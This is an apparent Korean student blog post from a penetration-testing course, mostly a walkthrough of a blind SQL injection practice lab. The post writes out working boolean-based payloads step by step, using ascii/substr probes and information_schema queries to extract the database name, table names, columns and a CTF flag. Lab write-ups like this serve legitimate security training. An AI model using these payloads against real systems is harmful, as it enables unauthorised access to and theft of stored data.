노말틱 모의해킹

[8주차 과제] 연습 열심히 하자~

debugginglog 2025. 5. 28. 01:05

오늘 과제

1. Error Based SQLi 정리 & 연습문제 풀기

[SQL Injection (Error Based SQLi Basic)]

2. Blind SQLi 정리 & 연습문제 풀기

[SQL Injection (Blind Practice)]

이번주 과제

1. SQL Injection : 데이터 추출 총 정리

2. SQL Injection 문제 풀어보기

3. 웹 사이트 개발 과제 : 게시판, 게시글 리스트 보여주는 페이지, 게시글 상세 내용, 게시글 작성


1.SQL Injection(Blind Practice)

1. normaltic을 넣으면 존재하는 아이디라고 나옴
2. normaltic2를 넣으면 존재하지 않는 아이디라고 나옴. 그런데 normaltic'을 넣으면 응답이 안날라옴. 항등원 normaltic' and '1'='1을 넣어도 마찬가지. 어라 이건 어디서 많이 본건데. 회사 와이파이 문제인가. 핫스팟을 해보니 역시 된다. normaltic' and '1'='1은 true / normaltic' and '1'='2 false, 즉 Blind SQL Injection이 가능하다.
3. normaltic' and ((select 'test') = 'test') and '1'='1 이걸 돌려보니 참이 나오고 normaltic' and ((select 'test') = 'tes') and '1'='1 이걸 돌리니 거짓, 즉 select 구문을 넣을 수 있다.
4. normaltic' and ((substr((select 'test'),1,1)) = 't') and '1'='1 을 돌려보니 참이 나오고 틀려보니 거짓 값이 나옴.
5. 공격 포맷 : normaltic' and (ascii((substr((___select구문___),1,1))) > 0) and '1'='1
6. normaltic' and (ascii((substr((select database()),1,1))) > 0) and '1'='1
7. 98, 108, 105, 110, 100, 83, 113, 108, 105 해석하면 b, l, i, n, d, S, q, l, i 
8. 10번째 값은 >0을 기준으로 잡아도 false가 나오기 때문에 없는 값 / DB 값은 blindSqli
9. 이제 테이블 값을 알아내자. select table_name from information_schema.tables where table_schema='blindSqli' 이걸 돌리고 싶으니 공격 구문은 normaltic' and (ascii((substr((select table_name from information_schema.tables where table_schema='blindSqli'),1,1))) > 0) and '1'='1 그런데 이걸 돌리니 아무것도 안나온다. syntax 에러가 있는 것 같다. limit을 걸어보자 normaltic' and (ascii((substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0, 1),1,1))) > 0) and '1'='1 이렇게 하니 잘 나온다. 이제 노가다 시작
10. 첫번째 테이블은 102, 108, 97, 103, 84, 97, 98, 108, 101 해석하면 flagTable
11. 두번째 테이블은 109, 101, 109, 98, 101, 114 해석하면 member
12. 세번째 테이블도 돌려보니 있는데 정답이 첫번재 테이블에 있을 수도 있으니 첫번재 테이블 부터 데이터를 뒤져보고 넘어가자
13. 첫번째 컬럼은 아마 아닐 것 같긴한데 일단 해보자. 우리가 찾고 싶은건 select column_name from information_schema.columns where table_name ='flagTable' 이니까 공격 구문은 normaltic' and (ascii((substr((select column_name from information_schema.columns where table_name ='flagTable' limit 0,1),1,1))) > 0) and '1'='1
14. 첫번재 컬럼은 105, 100, 120 해석하면 idx 넘어가자
15. 두번째 컬럼은 102, 108, 97, 103 해석하면 flag. 여기에 flag가 있겠지?
16. 이제 값을 찾아보자. 실행하고 싶은 구문은 select flag from flagTable limit 0,1 이니까 normaltic' and (ascii((substr((select flag from flagTable limit 0,1),1,1))) > 0) and '1'='1
17. 아마도 segfault{일테니까 115 101 103 102 97 117 108 116 123 이걸 넣어보자. 일단 이건 맞다. 그런데 영상 강의에 32개 라는 길이를 봤는데 혹시나 해서 30번째꺼 입력해보니까 값이 존재한다... 파이썬으로 만들어서 하자.